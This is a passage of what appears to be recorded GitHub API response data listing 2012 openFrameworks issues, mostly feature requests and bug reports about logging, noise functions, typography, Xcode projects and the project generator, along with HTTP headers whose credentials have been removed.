\"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","comments":4,"milestone":null,"number":1150,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"propose shortening ofLog console message length","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-08T20:32:49Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023305,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T15:00:32Z","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","comments":0,"milestone":null,"number":1146,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","assignee":null,"title":"Document Project Generator / clean out old tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-04-07T14:43:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4015514,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T19:49:31Z","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","comments":3,"milestone":null,"number":1145,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","assignee":null,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-06T22:02:01Z","state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4010494,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:21:01Z","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1144,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","assignee":null,"title":"ofColor subtraction and negative values","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-06T07:56:44Z","state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4001148,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-04T12:07:24Z","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1138,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"benign error message","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-04-04T11:05:57Z","state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","id":1611385,"avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3968742,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-03T17:37:10Z","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","comments":2,"milestone":null,"number":1134,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","assignee":null,"title":"multidimensional noise output","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T16:44:55Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for rate.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T15:45:11Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917018,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '55518'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"414a5c156bbe219ad21d164052b40f6c"'), ('date', 'Tue, 29 May 2012 19:27:11 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-04-02T02:05:52Z","body":"This is a feature discussion issue for what string features we should add to of.\r\nofZach mentioned some regexp ones from P5 match matchAll\r\nWould be great to get some eyes on this.\r\n\r\nOne approach would be a static class or namespace.\r\nThe idea would be we could include a variety of handy functions that would be useful for people not wanting to get into regexp\r\n\r\n\tofString::contains(str, \"apple\") //returns bool\r\n\tofString::starts(str, \"The\") //returns bool\r\n\tofString::ends(str, \".\") //returns bool\r\n\tofString::count(str, \"apples\") //count how many times apples appears in the \r\n\tofString::join(myVectorStr, \", \"); //this is currently ofJoinString\r\n\tofString::split(someText, \".\"); //this is currently ofSplitString\r\n\tofString::split(someHtml, \"<\", \">\"); //this is the same but returns a vector of things between the start and end delims\r\n\tofString::limit(someText, 200); //limit the text to 200 characters. optional arg to add ... to the end.\r\n\r\nQuestions:\r\n- Should we mirror P5 with match and matchAll or should we indicate that regexp is required? ie regexMatch regexMatchAll ?\r\n- Other string utils we could add?\r\n- Should it be ofStringUtils:: or ofString:: ?\r\n- Something to do a split and then return a vector of float int etc?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1132","comments":6,"milestone":null,"number":1132,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1132","assignee":null,"title":"ofStringUtils:: feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-31T17:52:48Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911629,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-05-27T17:40:30Z","body":"This is a feature discussion issue for what should be added / changed to ofTTF.\r\nWould be great to get some eyes on this from @vtron @ofzach @arturoc and anyone with thoughts on the matter.\r\n\r\nTextAreas:\r\n- Fit text to a box\r\n- Handle overflow ( ie either truncate or resize box height )\r\n- non ragged options\r\n- could textAreas work with both ofTTF and ofDrawBitmapString ? abstract text formatting?\r\n\r\nAlignment:\r\n- Left align a string\r\n- Right align\r\n- Center\r\n- Top align \r\n- Base align \r\n\r\nSpacing:\r\n- Kerning\r\n- Leading / line height\r\n\r\nLoading:\r\n- Allow for loading a font up to a max size for drawing at different sizes. \r\n- Allow for selection and loading of specific sizes within one object. ie: myFont.setCurrentSize(12); \r\n- Font family's / sets ? Bold, Italic etc? \r\n\r\nDrawing:\r\n- Allow for drawing font at different sizes. Scale font as needed. \r\n\r\nFormatting:\r\n- Could we somehow allow a string to have different colors, sizes. Right now it is a pain to change colors or sizes. \r\n- would this be replicating basic html or another approach? maybe better as an addon?\r\n\r\nInfo:\r\n- Ability to get the x and y position of the nth character in the string? useful maybe for cursor or selection?\r\n\r\n**Update:**\r\n-Underline\r\n-Render rect behind text ( a la what @kylemcdonald added to ofDrawBitmapString)\r\n-Scale type to fit a rect + keep aspect ratio\r\n-Crazy: text along a path :) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1131","comments":25,"milestone":null,"number":1131,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1131","assignee":null,"title":"ofTTF feature discussion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-typography","name":"section-typography","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T17:36:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":3911537,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T14:44:01Z","body":"Agree on a common format for a header in the contributed example files.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1130","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1130,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1130","assignee":null,"title":"Define standard header for examples.","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2012-03-31T14:44:01Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3910580,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-24T02:12:05Z","body":"\r\n\r\nXcode 4 mangles OF projects pretty badly in the following ways: \r\n\r\na) it autogenerates schemes, and \"openframeworks\" appears as the chosen scheme\r\nb) it sometimes chooses the wrong SDK for OF -- is there a way to set that?\r\nc) debug and release are not really clear, part of this is a shift in xcode -- but it's much harder to see how things are compiled and to set release or debug\r\nd) I still had issues with OF needing to be recompiled all the time. I tried to fix this, but we should make sure it's done right. the of lib was appearing red even though it had been built, etc. \r\n\r\nI've tried to fix some of this in detroit with the PG, but I don't think it's the right way to do it. Overall, it would be great to have projects work smoothly on xcode 4...\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1129","comments":5,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1129,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1129","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"title":"xcode 4 issues: scheme, auto-generation of schemes, rebuilding OF, sdk, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-31T14:39:04Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":3910555,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-31T16:32:04Z","body":"When deprecating api's (e.g. ofEvents, ofVertexes), perhaps we could help automate the changes through simple scripts to update api\r\nSuggest sticking to something close to how uncrustify scripts are run (and perhaps there are tools like uncrustify but specifically for this task)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1128","comments":1,"milestone":null,"number":1128,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1128","assignee":null,"title":"upgrade scripts","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-31T14:38:19Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":3910549,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-09T16:47:04Z","body":"It would be nice (and useful for testing the PG) if the PG would get an option to clean the examples folders of all generated files. \r\n\r\nCurrently, the quickest option is to delete the examples folder on disk, and do `git reset --hard HEAD`.\r\n\r\nAs before, milestoned for 0071, but feel free to push back.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1126","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1126,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1126","assignee":null,"title":"PG Feature request: Clean examples folder","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-03-30T12:51:30Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3897090,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T16:47:29Z","body":"there is a hard limit of 100 files when using drag & drop into an of app. not sure if it's an of issue, but am curious if it comes from the hacked glutDragEventFunc ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1124","comments":0,"milestone":null,"number":1124,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1124","assignee":null,"title":"void dragEvent(ofDragInfo dragInfo) limited to 100 files in osx lion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-03-29T16:47:29Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100},"id":3883598,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-29T13:05:25Z","body":"When loading a file with ofImage, ofSoundPlayer , ofVideoPlayer-file or any ofFile it would be nice to be able to know if the file changed since it was loaded.\r\n\r\nIts very simple to implement with Poco::File->getLastModified() and it would be very nice if this would be built into the above classes.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1120","comments":2,"milestone":null,"number":1120,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1120","assignee":null,"title":"isFileChanged() for ofImage, ofVideoPlayer, ofSoundPlayer and ofFile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-03-28T16:21:45Z","state":"open","user":{"url":"https://api.github.com/users/imanhp","gravatar_id":"7398ab0bbd07832d0289f26773e65077","login":"imanhp","avatar_url":"https://secure.gravatar.com/avatar/7398ab0bbd07832d0289f26773e65077?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1216228},"id":3856005,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-03-30T12:19:59Z","body":"paths.make should be in the repo as an example on how to set it up correctly, but changes (i.e. paths unique to every user) to it should be ignored cause everyone will have a different version in their computers so we don't want personal changes to appear in git status.\r\n\r\nI think the best way to solve this is to rename it to paths.make.default, keep this in the repo, maybe with `` instead of your path, and have people make their own paths.make from that one. We track changes to paths.make.default and ignore paths.make. \r\n\r\nThis will probably also need a mechanism in the makefile to fail gracefully and remind the user, if his customized paths.make is missing.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1118","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"closed_issues":21,"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1118,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1118","assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"title":"Default paths.make for Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/android","name":"android","color":"2bc4ad"}],"closed_at":null,"created_at":"2012-03-28T12:19:39Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":3850655,"pull_request":{"patch_url":null,"html_url":null,"diff_url":null}},{"updated_at":"2012-04-18T17:13:36Z","body":"Once ofSetFrameRate() is called, I can't find a way to retrieve it. I think implementing a ofGetDesiredFrameRate() in ofAppRunner would make sense, also adding getDesiredFrameRate() to ofAppBaseWindow and all subclasses, where the actual value is stored. \r\n\r\nThis 